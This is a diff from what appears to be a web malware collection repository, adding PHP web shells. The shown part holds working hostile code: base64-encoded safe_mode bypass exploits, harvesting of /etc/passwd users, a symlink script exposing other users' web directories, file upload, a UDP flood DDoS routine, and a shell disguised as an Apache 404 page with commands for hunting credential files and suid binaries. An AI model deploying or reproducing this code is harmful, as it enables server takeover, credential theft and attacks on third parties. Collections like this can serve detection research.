+Zj5Tb2Z0d2FyZSA6PC9mb250PiA8P3BocCBlY2hvIGdldGVudigiU0VSVkVSX1NP +RlRXQVJFIik7Pz48L3RkPgogICAgICA8L3RyPgogICAgICA8dHI+CiAgICAgICAg +PHRkIHdpZHRoPSIxMDAlIiBzdHlsZT0iZm9udC1mYW1pbHk6ICgxKUZvbnRzNDQt +TmV0OyBjb2xvcjogI0ZGMDAwMDsgZm9udC1zaXplOiA4cHQ7IGZvbnQtd2VpZ2h0 +OiBib2xkIiBkaXI9Imx0ciI+PGZvbnQgY29sb3I9ZmZmZmZmPmlEIDo8L2ZvbnQ+ +IDw/cGhwIGVjaG8gc3lzdGVtKGlkKTs/PjwvdGQ+CiAgICAgIDwvdHI+CiAgICAg +IDx0cj4KICAgICAgICA8dGQgd2lkdGg9IjEwMCUiIHN0eWxlPSJmb250LWZhbWls +eTogKDEpRm9udHM0NC1OZXQ7IGNvbG9yOiAjRkYwMDAwOyBmb250LXNpemU6IDhw +dDsgZm9udC13ZWlnaHQ6IGJvbGQiIGRpcj0ibHRyIj48Zm9udCBjb2xvcj1mZmZm +ZmY+QzBubmVjdCA/IDo8L2ZvbnQ+IDw/cGhwIGVjaG8gKCRfU0VSVkVSWydIVFRQ +X0NPTk5FQ1RJT04nXSk7Pz4gICA8Zm9udCBjb2xvcj1mZmZmZmY+UG9ydCA6PC9m +b250PiA8P3BocCBlY2hvICgiOiIuJF9TRVJWRVJbIlNFUlZFUl9QT1JUIl0pOz8+ +ICA8L3RkPgogICAgICA8L3RyPgogICAgICA8dHI+CiAgICAgICAgPHRkIHdpZHRo +PSIxMDAlIiBzdHlsZT0iZm9udC1mYW1pbHk6ICgxKUZvbnRzNDQtTmV0OyBjb2xv +cjogI0ZGMDAwMDsgZm9udC1zaXplOiA4cHQ7IGZvbnQtd2VpZ2h0OiBib2xkIiBk +aXI9Imx0ciI+PGZvbnQgY29sb3I9ZmZmZmZmPllvdXIgQWdlbnQgOjwvZm9udD4g +PD9waHAgZWNobyAoJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddKTs/PiAgIDxm +b250IGNvbG9yPWZmZmZmZj5Zb3VyIGlwIGluZm8gOjwvZm9udD4gPD9waHAgZWNo +byAoJF9TRVJWRVJbJ1JFTU9URV9BRERSJ10pOz8+ICAgTXlTUUw6IDwvdGQ+CiAg +ICAgIDwvdHI+CiAgICAgIDx0cj4KICAgICAgICA8dGQgd2lkdGg9IjEwMCUiIHN0 +eWxlPSJmb250LWZhbWlseTogKDEpRm9udHM0NC1OZXQ7IGNvbG9yOiAjRkYwMDAw +OyBmb250LXNpemU6IDhwdDsgZm9udC13ZWlnaHQ6IGJvbGQiIGRpcj0ibHRyIj48 +Zm9udCBjb2xvcj1mZmZmZmY+UHJvdG9rb2wgOjwvZm9udD4gPD9waHAgZWNobyAo +JF9TRVJWRVJbIlNFUlZFUl9QUk9UT0NPTCJdKTs/PiAgIDxmb250IGNvbG9yPWZm +ZmZmZj5DaGFyc2V0IDo8L2ZvbnQ+IDw/cGhwIGVjaG8gKCRfU0VSVkVSWydIVFRQ +X0FDQ0VQVF9DSEFSU0VUJ10pOz8+ICAgPGZvbnQgY29sb3I9ZmZmZmZmPkVuY29k +aW5nIDo8L2ZvbnQ+IDw/cGhwIGVjaG8gKCRfU0VSVkVSWydIVFRQX0FDQ0VQVF9F +TkNPRElORyddKTs/PiAgIDxmb250IGNvbG9yPWZmZmZmZj5MYW5nIDo8L2ZvbnQ+ +IDw/cGhwIGVjaG8gKCRfU0VSVkVSWydIVFRQX0FDQ0VQVF9MQU5HVUFHRSddKTs/ +PjwvdGQ+CiAgICAgIDwvdHI+CiAgICAgIDx0cj4KICAgICAgPC90cj4KICAgIDwv +dGFibGU+CiAgICA8L3RkPgogIDwvdHI+CiAgPHRyPgogICAgPHRkIHdpZHRoPSIx +MDAlIiBoZWlnaHQ9IjEiPjw/cGhwCmlmIChlbXB0eSgkX1BPU1RbJ3ozciddKSl7 +CgkKCWVjaG8gJzxmb3JtIG1ldGhvZD0iUE9TVCI+JzsKCWVjaG8gJzxpbnB1dCB0 +eXBlPSJ0ZXh0IiBuYW1lPSJ6M3IiIHNpemU9IjUwIiB2YWx1ZT0iL2hvbWUvaGVk +ZWZ1c2VyL3B1YmxpY19odG1sL2luZGV4LnBocCI+JzsKCWVjaG8gJzxpbnB1dCB0 +eXBlPSJzdWJtaXQiIHZhbHVlPSJFbmNvZGUiPic7CgllY2hvICc8L2Zvcm0+JzsK +fWVsc2V7CgkkYjRzZTY0ID0kX1BPU1RbJ3ozciddOwoJJGhlbm8gPWJhc2U2NF9l +bmNvZGUoJGI0c2U2NCk7CgllY2hvICc8cCBhbGlnbj0iY2VudGVyIj4nOwoJZWNo +byAnPHRleHRhcmVhIG1ldGhvZD0iUE9TVCIgcm93cz0iMSIgY29scz0iODAiIHdy +YXI9Im9mZiI+JzsKCXByaW50ICRoZW5vOwoJZWNobyAnPC90ZXh0YXJlYT4nOwp9 +CgllY2hvICc8Zm9ybSBtZXRob2Q9InBvc3QiIC8+PGlucHV0IHR5cGU9InRleHQi +IG5hbWU9ImN6IiBzaXplPSI1MCIgdmFsdWU9IkVuY29kZSBlZGlsbWkPIGtvZCBi +dXJheWEuLiIgLz48aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iT0sgISEiIC8+ +PHNlbGVjdCBuYW1lPWRlYz48b3B0aW9uIHZhbHVlPXNob3c+T2t1PC9vcHRpb24+ +PG9wdGlvbiB2YWx1ZT1kZWNvZGU+RGUkaWZyZTwvb3B0aW9uPjwvc2VsZWN0Pjwv +Zm9ybT4nOwoKCWlmKCAhZW1wdHkoJF9QT1NUWydjeiddKSApCgkJaWYgKCRkZWM9 +PSdkZWNvZGUnKXtlY2hvICI8Zm9ybSBuYW1lPWZvcm0gbWV0aG9kPVBPU1Q+Ijt9 +CgkJZWNobyAiPHAgYWxpZ249bGVmdD48dGV4dGFyZWEgbWV0aG9kPSdQT1NUJyBu +YW1lPSd4Q29kJyBjb2xzPSc2MCcgcm93cz0nMjUnIHdyYXI9J29mZicgPiI7CgkK +CQkJJHNzPSRfUE9TVFsnY3onXTsKCQkJJGZpbGUgPSBiYXNlNjRfZGVjb2RlKCRz +cyk7CgkJCQkJaWYoKGN1cmxfZXhlYyhjdXJsX2luaXQoImZpbGU6ZnRwOi8vLi4v +Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4v +Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4v +Ii4kZmlsZSkpKSBhTmQgZW1wdFkoJGZpbGUpKQkKCQkJCWlmICgkX1BPU1RbJ2Rl +YyddPT0nZGVjb2RlJyl7ZWNobyBiYXNlNjRfZW5jb2RlKCRfUE9TVFsneENvZCdd +KTt9CmVjaG8gIjwvdGV4dGFyZWE+PC9wPiI7Cj8+PC90ZD4KICA8L3RyPgogIDx0 +cj4KICAgIDx0ZCB3aWR0aD0iMTAwJSIgc3R5bGU9ImZvbnQtZmFtaWx5OiAoMSlG +b250czQ0LU5ldDsgY29sb3I6ICNGRkZGRkY7IGZvbnQtc2l6ZTogOHB0OyBmb250 +LXdlaWdodDogYm9sZCIgaGVpZ2h0PSIxMyI+PD9waHAgaWYgKCRkZWM9PSdkZWNv +ZGUnKXsgZWNobyAiPHAgYWxpZ249Y2VudGVyPjxpbnB1dCB0eXBlPWhpZGRlbiBu +YW1lPWN4YyB2YWx1ZT0nZG93bic+PGlucHV0IHR5cGU9c3VibWl0IG5hbWU9c3Vi +bWl0IHZhbHVlPSdEb3duTG9hZCc+PC9wPjwvZm9ybT4iOyB9ID8+PC90ZD4KICA8 +L3RyPgogIDx0cj4KICAgIDx0ZCB3aWR0aD0iMTAwJSIgc3R5bGU9ImZvbnQtZmFt +aWx5OiAoMSlGb250czQ0LU5ldDsgY29sb3I6ICNGRkZGRkY7IGZvbnQtc2l6ZTog +OHB0OyBmb250LXdlaWdodDogYm9sZCIgaGVpZ2h0PSIxMyI+CiAgICA8cCBhbGln +bj0ibGVmdCI+PGZvbnQgc2l6ZT0iMSI+U2l5YW51ci5QSFAgPC9mb250PiA8YSBo +cmVmPSJodHRwOi8vd3d3LmltaGF0aW1pLm9yZyI+CiAgICA8Zm9udCBzaXplPSIx +IiBjb2xvcj0iIzhCOEI4QiI+d3d3LmltaGF0aW1pLm9yZzwvZm9udD48L2E+ICAg +PGEgaHJlZj0iaHR0cDovL3d3dy5zcHloYWNrZXJ6LmNvbSI+CiAgICA8Zm9udCBz +aXplPSIxIiBjb2xvcj0iIzhCOEI4QiI+d3d3LnNweWhhY2tlcnouY29tPC9mb250 +PjwvYT48L3RkPgogIDwvdHI+CiAgPHRyPgogICAgPHRkIHdpZHRoPSIxMDAlIiBz +dHlsZT0iZm9udC1mYW1pbHk6ICgxKUZvbnRzNDQtTmV0OyBjb2xvcjogI0ZGRkZG +RjsgZm9udC1zaXplOiA4cHQ7IGZvbnQtd2VpZ2h0OiBib2xkIiBoZWlnaHQ9IjEz +Ij4KICAgIDxwIGFsaWduPSJsZWZ0Ij4gPGZvbnQgc2l6ZT0iMSI+Q29kZWQgQnkg +TWVjVHJ1eTwvZm9udD48L3RkPgogIDwvdHI+CjwvdGFibGU+CiAgPC9jZW50ZXI+ +CjwvZGl2Pgo8L2JvZHk+CjwvaHRtbD4='); +break; +case '5.2.9' : +CreateByPasser('PD9waHAKJGZyZWloZWl0PWZvcGVuKCcuL2N4NTI5LnBocCcsICd3Jyk7CmZ3cml0 +ZSgkZnJlaWhlaXQsIGJhc2U2NF9kZWNvZGUoIgpQRDl3YUhBTkNpOHFEUXB6WVda +bFgyMXZaR1VnWVc1a0lHOXdaVzVmWW1GelpXUnBjaUJDZVhCaGMzTWdVRWhRSURV +dU1pNDUKRFFwaWVTQk5ZV3R6ZVcxcGJHbGhiaUJCY21OcFpXMXZkMmxqZWlCb2RI +UndPaTh2YzJWamRYSnBkSGx5WldGemIyNHVZMjl0Ckx3MEtZM2hwWWlCYklHRXVW +RjBnYzJWamRYSnBkSGx5WldGemIyNGdXeUJrTUhSZElHTnZiUTBLRFFwT1QxUkZP +ZzBLYUhSMApjRG92TDNObFkzVnlhWFI1Y21WaGMyOXVMbU52YlM5aFkyaHBaWFps +YldWdWRGOXpaV04xY21sMGVXRnNaWEowTHpZeERRb04KQ2tWWVVFeFBTVlE2RFFw +b2RIUndPaTh2YzJWamRYSnBkSGx5WldGemIyNHVZMjl0TDJGamFHbGxkbVZ0Wlc1 +MFgyVjRjR3h2CmFYUmhiR1Z5ZEM4eE1BMEtLaThOQ2cwS2FXWW9JV1Z0Y0hSNUtD +UmZSMFZVV3lkbWFXeGxKMTBwS1NBa1ptbHNaVDBrWDBkRgpWRnNuWm1sc1pTZGRP +dzBLWld4elpTQnBaaWdoWlcxd2RIa29KRjlRVDFOVVd5ZG1hV3hsSjEwcEtTQWta +bWxzWlQwa1gxQlAKVTFSYkoyWnBiR1VuWFRzTkNnMEtaV05vYnlBblBGQlNSVDQ4 +VUQ1VWFHbHpJR2x6SUdWNGNHeHZhWFFnWm5KdmJTQThZUTBLCmFISmxaajBpYUhS +MGNEb3ZMM05sWTNWeWFYUjVjbVZoYzI5dUxtTnZiUzhpSUhScGRHeGxQU0pUWldO +MWNtbDBlVUYxWkdsMApJajVUWldOMWNtbDBlU0JCZFdScGRDQXRJRk5sWTNWeWFY +UjVVbVZoYzI5dVBDOWhQaUJzWVdKekxnMEtRWFYwYUc5eUlEb2cKVFdGcmMzbHRh +V3hwWVc0Z1FYSmphV1Z0YjNkcFkzb05Danh3UGxOamNtbHdkQ0JtYjNJZ2JHVm5Z +V3dnZFhObElHOXViSGt1CkRRbzhjRDVRU0ZBZ05TNHlMamtnYzJGbVpWOXRiMlJs +SUNZZ2IzQmxibDlpWVhObFpHbHlJR0o1Y0dGemN3MEtQSEErVFc5eQpaVG9nUEdF +Z2FISmxaajBpYUhSMGNEb3ZMM05sWTNWeWFYUjVjbVZoYzI5dUxtTnZiUzhpUGxO +bFkzVnlhWFI1VW1WaGMyOXUKUEM5aFBnMEtQSEErUEdadmNtMGdibUZ0WlQwaVpt +OXliU0lnWVdOMGFXOXVQU0pvZEhSd09pOHZKeTRrWDFORlVsWkZVbHNpClNGUlVV +RjlJVDFOVUlsMHVhSFJ0YkhOd1pXTnBZV3hqYUdGeWN5Z2tYMU5GVWxaRlVsc2lV +ME5TU1ZCVVgwNE5Da0ZOUlNKZApLUzRrWDFORlVsWkZVbHNpVUVoUVgxTkZURVlp +WFM0bklpQnRaWFJvYjJROUluQnZjM1FpUGp4cGJuQjFkQ0IwZVhCbFBTSjAKWlho +MElpQnVZVzFsUFNKbWFXeGxJaUJ6YVhwbFBTSTFNQ0lnZG1Gc2RXVTlJaWN1YUhS +dGJITndaV05wWVd4amFHRnljeWdrClptbHNaU2t1SnlJK1BHbHVjSFYwSUhSNWNH +VTlJbk4xWW0xcGRDSWdibUZ0WlQwaWFHRnlaSE4wZVd4bGVpSWdkbUZzZFdVOQpJ +bE5vYjNjaVBqd3ZabTl5YlQ0bk93MEtEUW9OQ2lSc1pYWmxiRDB3T3cwS0RRcHBa +aWdoWm1sc1pWOWxlR2x6ZEhNb0ltWnAKYkdVNklpa3BEUW9KYld0a2FYSW9JbVpw +YkdVNklpazdEUXBqYUdScGNpZ2labWxzWlRvaUtUc05DaVJzWlhabGJDc3JPdzBL +CkRRb2thR0Z5WkhOMGVXeGxJRDBnWlhod2JHOWtaU2dpTHlJc0lDUm1hV3hsS1Rz +TkNnMEtabTl5S0NSaFBUQTdKR0U4WTI5MQpiblFvSkdoaGNtUnpkSGxzWlNrN0pH +RXJLeWw3RFFvSmFXWW9JV1Z0Y0hSNUtDUm9ZWEprYzNSNWJHVmJKR0ZkS1NsN0RR +b0oKQ1dsbUtDRm1hV3hsWDJWNGFYTjBjeWdrYUdGeVpITjBlV3hsV3lSaFhTa3BJ +QTBLQ1FrSmJXdGthWElvSkdoaGNtUnpkSGxzClpWc2tZVjBwT3cwS0NRbGphR1Jw +Y2lna2FHRnlaSE4wZVd4bFd5UmhYU2s3RFFvSkNTUnNaWFpsYkNzck93MEtDWDBO +Q24wTgpDZzBLZDJocGJHVW9KR3hsZG1Wc0xTMHBJR05vWkdseUtDSXVMaUlwT3cw +S0RRb2tZMmdnUFNCamRYSnNYMmx1YVhRb0tUc04KQ2cwS1kzVnliRjl6WlhSdmNI +UW9KR05vTENCRFZWSk1UMUJVWDFWU1RDd2dJbVpwYkdVNlptbHNaVG92THk4aUxp +Um1hV3hsCktUc05DZzBLWldOb2J5QW5QRVpQVGxRZ1EwOU1UMUk5SWxKRlJDSStJ +RHgwWlhoMFlYSmxZU0J5YjNkelBTSTBNQ0lnWTI5cwpjejBpTVRJd0lqNG5PdzBL +RFFwcFppaEdRVXhUUlQwOVkzVnliRjlsZUdWaktDUmphQ2twRFFvSlpHbGxLQ2Mr +VTI5eWNua3UKTGk0Z1JtbHNaU0FuTG1oMGJXeHpjR1ZqYVdGc1kyaGhjbk1vSkda +cGJHVXBMaWNnWkc5bGMyNTBJR1Y0YVhOMGN5QnZjaUI1CmIzVWdaRzl1ZENCb1lY +WmxJSEJsY20xcGMzTnBiMjV6TGljcE93MEtEUXBsWTJodklDY2dQQzkwWlhoMFlY +SmxZVDRnUEM5RwpUMDVVUGljN0RRb05DbU4xY214ZlkyeHZjMlVvSkdOb0tUc05D +ZzBLUHo0PQoiKSk7CmZjbG9zZSgkZnJlaWhlaXQpOwplY2hvICJleHBsb2l0IGhh +cyBiZWVuIGdlbmVyYXRlZCAuIHVzZSBjeDUyOS5waHAgZmlsZSI7Cj8+IA=='); +break; +default : +echo "[+] Not Found Any ByPasser For This Version : $Version
        "; +} +} + +if (isset($_POST['SaveUser_TXT'])) { +@unlink('Users.txt'); +$lines=@file('/etc/passwd'); +if (!$lines) { +$authp = @popen("/bin/cat /etc/passwd", "r"); +$i = 0; +while (!feof($authp)) +$aresult[$i++] = fgets($authp, 4096); +$lines = $aresult; +@pclose($authp); +} +if (!$lines) { +$EtcUrl = @$_REQUEST['etcAdd']; +$lines=@file("$EtcUrl"); +} +if (!$lines) { +echo "[+] Can't Open /etc/passwd File .
        "; +} +else { +foreach($lines as $line_num=>$line){ +$sprt=explode(":",$line); +$user=$sprt[0]; +$handle = @fopen("Users.txt","a"); +if ($handle) { + @fwrite($handle, "$user\n"); + @fclose($handle); + } +} +echo "[+] Users.txt Created Successful
        "; +} +} +if (isset($_POST['GoDir'])) { +$default_dir = @$_POST['GoDir']; +if(!($dp = @opendir($default_dir))) echo("Access Denied : $default_dir !"); +while($file = @readdir($dp)) + if($file != '.' && $file != '..') { + if (is_file("$file") == True) { + echo "$file
        "; + } else { + echo "$file
        "; + } + } +@closedir($dp); +} +if (isset($_POST['Upload_Start'])) { +$path = './' ; +if(isset($_POST['Upload_Start'])) +{ + if(is_uploaded_file($HTTP_POST_FILES['userfile']['tmp_name'])) + { + if( file_exists($path . $HTTP_POST_FILES['userfile']['name'] ) ) + { + @unlink( $path . $HTTP_POST_FILES['userfile']['name'] ); + } + if(@rename($HTTP_POST_FILES['userfile']['tmp_name'],$path.$HTTP_POST_FILES['userfile']['name'])) + { + $html_output = 'Upload Sucessful !
        '; + $html_output .= 'File Name: '.$HTTP_POST_FILES['userfile']['name'].'
        '; + $html_output .= 'File Size: '.$HTTP_POST_FILES['userfile']['size'].' bytes
        '; + $html_output .= 'File Type: '.$HTTP_POST_FILES['userfile']['type'].'
        '; + $image = $HTTP_POST_FILES['userfile']['name'] ; + } else + { + $html_output = 'Upload Failed !
        '; + if(!is_writeable($path)) + { + $html_output = 'The Directory "'.$path.'" Must Be Writeable!
        '; + } else + { + $html_output = 'An Unknown Error Ocurred .
        '; + } + } + } + } +echo @$html_output; +} + +if (isset($_POST['Submit12'])) { +@mkdir("h4ckcitydotorg"); +@chdir("h4ckcitydotorg"); +echo '[+] Directory [ h4ckcitydotorg ] Created .
        '; +echo '[+] Directory Changed .
        '; +$file3 = 'Options +FollowSymLinks +DirectoryIndex seees.html +RemoveHandler .php +AddType application/octet-stream .php'; +$fp3 = fopen('.htaccess','w'); +$fw3 = fwrite($fp3,$file3); +if ($fw3) { +echo '[+] .htaccess File Created .
        '; +} +else { +echo "[+] No Perm To Create .htaccess File !
        "; +} +@fclose($fp3); +$fileS = base64_decode("IyEvdXNyL2Jpbi9wZXJsCm9wZW4gSU5QVVQsICI8L2V0Yy9wYXNzd2QiOwp3aGls +ZSAoIDxJTlBVVD4gKQp7CiRsaW5lPSRfOyBAc3BydD1zcGxpdCgvOi8sJGxpbmUp +OyAkdXNlcj0kc3BydFswXTsKc3lzdGVtKCdsbiAtcyAvaG9tZS8nLiR1c2VyLicv +cHVibGljX2h0bWwgJyAuICR1c2VyKTsKfQ=="); +$fpS = @fopen("PL-Symlink.pl",'w'); +$fwS = @fwrite($fpS,$fileS); +if ($fwS) { +$TEST=@file('/etc/passwd'); +if (!$TEST) { +echo "[+] Can't Read /etc/passwd File .
        "; +echo "[+] Can't Create Users Shortcuts .
        "; +echo '[+] Finish !
        '; +} +else { +echo @shell_exec("perl PL-Symlink.pl"); +echo '[+] Users Shortcut Created .
        '; +echo '[+] Finish !
        '; +} +@fclose($fpS); +@unlink("PL-Symlink.pl"); +} +else { +echo "[+] No Perm To Create Perl File !
        "; +} +} +$ip = @$_POST['PHP_D_Host']; +$rand = @$_POST['PHP_D_Port']; +$exec_time = @$_POST['PHP_D_Packet']; +if (isset($_POST['PHP_D_Start'])) +{ +if ($ip or $rand or $exec_time == '') +{ +echo "Usage : [ Host : 0.0.0.0 ] [ Port : 25 ] [ Packet Time : 99999 ]
        "; +} else { +$packets = 0; +set_time_limit(0); +ignore_user_abort(FALSE); +$time = time(); +print "Flooded: $ip On Port $rand

        "; +$max_time = $time+$exec_time; +for($i=0;$i<65535;$i++){ +@$out .= "X"; +} +while(1){ +$packets++; + if(time() > $max_time){ + break; + } + $fp = fsockopen("udp://$ip", $rand, $errno, $errstr, 5); + if($fp){ + fwrite($fp, $out); + fclose($fp); + } +} +echo "Packet Complete at ".time('h:i:s')." With $packets (" . round(($packets*65)/1024, 2) . " MB) Packets Averaging ". round($packets/$exec_time, 2) . " Packets/s \n"; +} +} +echo "
        : Commands :
        + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
        Tools :
        +
        + + + +
        +
        Command :
        + Function : + + Command : + + +
        Get ConnectBack :
        + IP : + + Port : + + +
        Get Users :
        + /etc/passwd Address : + + + +
        Remote DDoser :
        + Host : + +Port : + +Packet Time : + + +
        PHP DDoser :
        + Host : + +Port : + +Packet Time : + + +
        CMD Inj3ctor :
        + Page Name : + + + Example : index.php +
        Upload Sheller Here :
        + Sheller1 : + +Sheller2 : + + +
        +

        Upload User On Users :

        +
        + + + + + + + + + + + + + +
        Sheller ULR :
        + +
        Example : http://www.site.com/sheller.txt
        User Directory :
        + +
        Example : home/root/public_html
        +
        Upload :
        + File : + + +
        +

        MySql Bypasser :

        +
        + + + + + + + + + + + + + + + + +
        SQL-Server : Port : + : +  
        Login : Password : + : +
        Database . Table : + : +  
        +
        --== www.h4ckcity.org Sheller Version: 1.02 Coded By LocalMan & 2MzRp Spc Thx :Mikili,Mehdi.H4ckCity,Ne0.limpizik,r3dm0v3 ==--
        +
        "; +?> + + diff --git a/web-malware-collection-master/Backdoors/PHP/404.php b/web-malware-collection-master/Backdoors/PHP/404.php new file mode 100755 index 0000000..3657fa3 --- /dev/null +++ b/web-malware-collection-master/Backdoors/PHP/404.php @@ -0,0 +1,1487 @@ + +

        Not Found

        +

        The requested URL was not found on this server.

        +
        +
        Apache Server at Port 80
        + +
        +
        + +
        + "dir", + "Find index.php in current dir" => "dir /s /w /b index.php", + "Find *config*.php in current dir" => "dir /s /w /b *config*.php", + "Show active connections" => "netstat -an", + "Show running services" => "net start", + "User accounts" => "net user", + "Show computers" => "net view", + "ARP Table" => "arp -a", + "IP Configuration" => "ipconfig /all" + ); +else + $aliases = array( + "List dir" => "ls -la", + "list file attributes on a Linux second extended file system" => "lsattr -va", + "show opened ports" => "netstat -an | grep -i listen", + "Find" => "", + "find all suid files" => "find / -type f -perm -04000 -ls", + "find suid files in current dir" => "find . -type f -perm -04000 -ls", + "find all sgid files" => "find / -type f -perm -02000 -ls", + "find sgid files in current dir" => "find . -type f -perm -02000 -ls", + "find config.inc.php files" => "find / -type f -name config.inc.php", + "find config* files" => "find / -type f -name \"config*\"", + "find config* files in current dir" => "find . -type f -name \"config*\"", + "find all writable folders and files" => "find / -perm -2 -ls", + "find all writable folders and files in current dir" => "find . -perm -2 -ls", + "find all service.pwd files" => "find / -type f -name service.pwd", + "find service.pwd files in current dir" => "find . -type f -name service.pwd", + "find all .htpasswd files" => "find / -type f -name .htpasswd", + "find .htpasswd files in current dir" => "find . -type f -name .htpasswd", + "find all .bash_history files" => "find / -type f -name .bash_history", + "find .bash_history files in current dir" => "find . -type f -name .bash_history", + "find all .fetchmailrc files" => "find / -type f -name .fetchmailrc", + "find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc", + "Locate" => "", + "locate httpd.conf files" => "locate httpd.conf", + "locate vhosts.conf files" => "locate vhosts.conf", + "locate proftpd.conf files" => "locate proftpd.conf", + "locate psybnc.conf files" => "locate psybnc.conf", + "locate my.conf files" => "locate my.conf", + "locate admin.php files" =>"locate admin.php", + "locate cfg.php files" => "locate cfg.php", + "locate conf.php files" => "locate conf.php", + "locate config.dat files" => "locate config.dat", + "locate config.php files" => "locate config.php", + "locate config.inc files" => "locate config.inc", + "locate config.inc.php" => "locate config.inc.php", + "locate config.default.php files" => "locate config.default.php", + "locate config* files " => "locate config", + "locate .conf files"=>"locate '.conf'", + "locate .pwd files" => "locate '.pwd'", + "locate .sql files" => "locate '.sql'", + "locate .htpasswd files" => "locate '.htpasswd'", + "locate .bash_history files" => "locate '.bash_history'", + "locate .mysql_history files" => "locate '.mysql_history'", + "locate .fetchmailrc files" => "locate '.fetchmailrc'", + "locate backup files" => "locate backup", + "locate dump files" => "locate dump", + "locate priv files" => "locate priv" + ); + +function printHeader() { + if(empty($_POST['charset'])) + $_POST['charset'] = "UTF-8"; + global $color; + ?> +'><?=$_SERVER['HTTP_HOST']?>- 404 Not Found Shell V.<?=VERSION?>-SubhashDasyam.com + + +
        +
        +'> +'> +'> +'> +'> +'> +
        +".$path[$i]."/
        "; + } + $charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866'); + $opt_charsets = ''; + foreach($charsets as $item) + $opt_charsets .= ''; + $m = array('Sec. Info'=>'SecInfo','Files'=>'FilesMan','Console'=>'Console','Sql'=>'Sql','Php'=>'Php','Safe mode'=>'SafeMode','String tools'=>'StringTools','Bruteforce'=>'Bruteforce','Network'=>'Network'); + if(!empty($GLOBALS['auth_pass'])) + $m['Logout'] = 'Logout'; + $m['Self remove'] = 'SelfRemove'; + $menu = ''; + foreach($m as $k => $v) + $menu .= '[ '.$k.' ]'; + $drives = ""; + if ($GLOBALS['os'] == 'win') { + foreach( range('a','z') as $drive ) + if (is_dir($drive.':\\')) + $drives .= '[ '.$drive.' ] '; + } + echo ''. + ''. + '
        Uname +User +Php +Hdd +Cwd'.($GLOBALS['os'] == 'win'?' +Drives':'').':'.substr(@php_uname(), 0, 120).' [Google] [milw0rm] +:'.$uid.' ( '.$user.' ) Group: '.$gid.' ( '.$group.' ) +:'.@phpversion().' Safe mode: '.($GLOBALS['safe_mode']?'ON':'OFF').' [ phpinfo ] Datetime: '.date('Y-m-d H:i:s').' +:'.viewSize($totalSpace).' Free: '.viewSize($freeSpace).' ('.(int)($freeSpace/$totalSpace*100).'%) +:'.$cwd_links.' '.viewPermsColor($GLOBALS['cwd']).' [ home ] +:'.$drives.' +Server IP: +'.gethostbyname($_SERVER["HTTP_HOST"]).' +Client IP: +'.$_SERVER['REMOTE_ADDR'].'
        '. + ''.$menu.'
        '; +} + +function printFooter() { + $is_writable = is_writable($GLOBALS['cwd'])?"[ Writeable ]":"[ Not writable ]"; +?> +
        + + + + + + + + + + + + + + +
        Change dir: +
        Read file: +
        Make dir: +
        Make file: +
        Execute: +
        + + '> + + '> + Upload file: +
        +
        + += 1073741824) + return sprintf('%1.2f', $s / 1073741824 ). ' GB'; + elseif($s >= 1048576) + return sprintf('%1.2f', $s / 1048576 ) . ' MB'; + elseif($s >= 1024) + return sprintf('%1.2f', $s / 1024 ) . ' KB'; + else + return $s . ' B'; +} + +function perms($p) { + if (($p & 0xC000) == 0xC000)$i = 's'; + elseif (($p & 0xA000) == 0xA000)$i = 'l'; + elseif (($p & 0x8000) == 0x8000)$i = '-'; + elseif (($p & 0x6000) == 0x6000)$i = 'b'; + elseif (($p & 0x4000) == 0x4000)$i = 'd'; + elseif (($p & 0x2000) == 0x2000)$i = 'c'; + elseif (($p & 0x1000) == 0x1000)$i = 'p'; + else $i = 'u'; + $i .= (($p & 0x0100) ? 'r' : '-'); + $i .= (($p & 0x0080) ? 'w' : '-'); + $i .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x' ) : (($p & 0x0800) ? 'S' : '-')); + $i .= (($p & 0x0020) ? 'r' : '-'); + $i .= (($p & 0x0010) ? 'w' : '-'); + $i .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x' ) : (($p & 0x0400) ? 'S' : '-')); + $i .= (($p & 0x0004) ? 'r' : '-'); + $i .= (($p & 0x0002) ? 'w' : '-'); + $i .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x' ) : (($p & 0x0200) ? 'T' : '-')); + return $i; +} +function viewPermsColor($f) { + if (!@is_readable($f)) + return ''.perms(@fileperms($f)).''; + elseif (!@is_writable($f)) + return ''.perms(@fileperms($f)).''; + else + return ''.perms(@fileperms($f)).''; +} +if(!function_exists("scandir")) { + function scandir($dir) { + $dh = opendir($dir); + while (false !== ($filename = readdir($dh))) { + $files[] = $filename; + } + return $files; + } +} +function which($p) { + $path = ex('which '.$p); + if(!empty($path)) + return $path; + return false; +} +function actionSecInfo() { + printHeader(); + echo '

        Server security information

        '; + function showSecParam($n, $v) { + $v = trim($v); + if($v) { + echo ''.$n.': '; + if(strpos($v, "\n") === false) + echo $v.' +'; + else + echo '
        '.$v.'
        '; + } + } + + showSecParam('Server software', @getenv('SERVER_SOFTWARE')); + showSecParam('Disabled PHP Functions', ($GLOBALS['disable_functions'])?$GLOBALS['disable_functions']:'none'); + showSecParam('Open base dir', @ini_get('open_basedir')); + showSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir')); + showSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir')); + showSecParam('cURL support', function_exists('curl_version')?'enabled':'no'); + $temp=array(); + if(function_exists('mysql_get_client_info')) + $temp[] = "MySql (".mysql_get_client_info().")"; + if(function_exists('mssql_connect')) + $temp[] = "MSSQL"; + if(function_exists('pg_connect')) + $temp[] = "PostgreSQL"; + if(function_exists('oci_connect')) + $temp[] = "Oracle"; + showSecParam('Supported databases', implode(', ', $temp)); + echo ' +'; + + if( $GLOBALS['os'] == 'nix' ) { + $userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl'); + $danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja'); + $downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror'); + 